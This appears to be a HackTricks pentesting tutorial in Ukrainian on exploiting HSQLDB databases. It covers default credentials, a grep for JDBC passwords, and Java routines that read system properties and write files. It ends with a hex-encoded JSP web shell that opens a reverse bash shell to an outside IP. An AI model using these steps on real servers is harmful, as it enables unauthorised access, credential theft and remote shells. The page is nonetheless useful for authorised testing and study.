tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

HSQLDB (HyperSQL DataBase) є провідною системою реляційних баз даних SQL, написаною на Java. Вона пропонує невеликий, швидкий багатопотоковий та транзакційний механізм бази даних з таблицями в пам'яті та на диску, а також підтримує вбудовані та серверні режими.

Порт за замовчуванням: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Інформація

Налаштування за замовчуванням

Зверніть увагу, що за замовчуванням ця служба, ймовірно, працює в пам'яті або прив'язана до localhost. Якщо ви її знайшли, ви, напевно, експлуатували іншу службу і намагаєтеся підвищити привілеї.

Налаштування за замовчуванням зазвичай sa з порожнім паролем.

Якщо ви експлуатували іншу службу, шукайте можливі облікові дані, використовуючи

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Зверніть увагу на назву бази даних - вона знадобиться для підключення.

Збір інформації

Підключіться до екземпляра БД, завантаживши HSQLDB та витягнувши hsqldb/lib/hsqldb.jar. Запустіть GUI додаток (eww) за допомогою java -jar hsqldb.jar і підключіться до екземпляра, використовуючи виявлені/слабкі облікові дані.

Зверніть увагу, що URL підключення виглядатиме приблизно так для віддаленої системи: jdbc:hsqldb:hsql://ip/DBNAME.

Хитрощі

Рутини мови Java

Ми можемо викликати статичні методи класу Java з HSQLDB, використовуючи рутини мови Java. Зверніть увагу, що викликаний клас повинен бути в класpath програми.

JRT можуть бути функціями або процедурами. Функції можна викликати через SQL оператори, якщо метод Java повертає одну або кілька SQL-сумісних примітивних змінних. Вони викликаються за допомогою оператора VALUES.

Якщо метод Java, який ми хочемо викликати, повертає void, нам потрібно використовувати процедуру, викликану за допомогою оператора CALL.

Читання властивостей системи Java

Створіть функцію:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Виконати функцію:

text
VALUES(getsystemproperty('user.name'))

Ви можете знайти список системних властивостей тут.

Запис вмісту у файл

Ви можете використовувати com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java гаджет, розташований у JDK (автоматично завантажується в клас шлях програми), щоб записувати шестигранно закодовані елементи на диск через користувацьку процедуру. Зверніть увагу на максимальний розмір 1024 байти.

Створіть процедуру:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Виконати процедуру:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks